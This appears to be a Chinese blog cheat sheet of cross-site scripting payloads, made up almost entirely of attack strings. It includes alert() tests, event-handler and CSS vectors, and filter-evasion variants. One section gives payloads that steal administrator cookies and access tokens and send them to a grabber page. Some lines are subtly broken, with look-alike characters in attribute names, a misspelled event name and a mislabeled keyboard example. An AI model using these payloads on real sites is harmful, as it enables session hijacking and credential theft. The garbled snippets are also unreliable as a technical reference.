赞
踩
一、典型标签:
<script>alert('xss')</script>
"><script>alert('xss')</script>
二、获取管理员 cookie 或敏感访问令牌,并把它发送到指定的页面:
<script>document.location='http://localhost/XSS/grabber.php?c='+document.cookie</script>
<script>document.location='http://localhost/XSS/grabber.php?c='+localStorage.getItem('access_token')</script>
<script>new Image().src='http://localhost/cookie.php?c='+document.cookie;</script>
<script>new Image().src='http://localhost/cookie.php?c='+localStorage.getItem('access_token');</script>
三、利用 HTML 标签的属性
"><img src=x οnerrοr=alert("XSS");>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
四、利用鼠标事件触发恶意代码
示例:
<button onclick=alert('xss')>触发按钮</button> 鼠标单击元素触发
<button ondbclick=alert('xss')>触发按钮</button> 鼠标双击
<button onmousedown=alert('xss')>触发按钮</button> 鼠标被按下
<button onmouseover=alert('xss')>触发按钮</button> 鼠标移动到元素上
<button onmouseout=alert('xss')>触发按钮</button> 鼠标从元素上移开
五、利用键盘事件触发恶意代码
function test(){alert('回显字样');}
onkeydown某个键盘按键被按下:
<img src="javascript:void(0)" onerror="document.οnkeydοwn=function(e){if(e.keyCode==65){alert('XSS')}}"/>
#javascript:void(0) ---> 图片不会正常显示,但能执行命令
#该标签表示键盘输入 'A' 时就会触发恶意语句,'A' 的ASCII码为65
<input type="text" onkeydown="test()"> //<input>标签的输入框
onkeyup某个按键被松开:
<input type="text" onkeyup="test()">
onkeypress某个按键被按下并松开:
<input type="text" onkeyup="test()">
六、利用CSS(了解,并不熟悉)
行内样式方法:
1.这段 payload 利用了 HTML 元素的 style 属性来设置内联样式。
2.将一个 div 元素的背景图片设置为一个 JavaScript URL,该 URL 会在加载时执行 alert('xss')。
3.现代浏览器通常不允许在 CSS 的 url() 函数中执行 JavaScript,所以这种方法可能不会生效。
<div style="background-image:url(javascript:alert('xss'))">
页内样式方法:
1.这段 payload 中使用了 <style> 标签来定义页内样式。
2.将 body 元素的背景图片设置为一个 JavaScript URL,同样,这个 URL 会在加载时执行 alert('xss')。
3.但和行内样式的情况一样,这种方法可能不会生效。
<style>Body{background-image:url(javascript:alert('xss'))}</style>
外部样式方法:
1.这段 payload 中通过链接到一个外部 CSS 文件(xss.css)来注入恶意代码。
2.这个外部 CSS 文件可能包含类似于前面两种方法的恶意代码,但由于 CSS 本身不能执行 JavaScript,可能就需要利用某些浏览器或应用程序的特定漏洞来执行恶意代码。
<link rel="stylesheet" type="text/css" href="./xss.css">
<sCript>alert('xss')</Script> 将标签中的部分小写字母改为大写
<scrscriptipt>alert('xss')</scrscriptipt> 对原来的<script>标签变形
<img src="#" onerror="alert('xss')"/> 双引号包裹执行命令的alert函数
<img src="#" onerror=alert`xss`/> 反引号代替括号包裹xss内容
<img/src='#'/onerror='alert('xss')'/>
在语句中穿插 Tab和回车
<a href="j
avascript:alert('xss')">click me!
</a>
<a href="javascript:alert('xss')>click me!</a> HTML实体编码
%3Cscript%3Ealert('xss')%3C/script%3E URL编码
【附】XSS漏洞危害
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。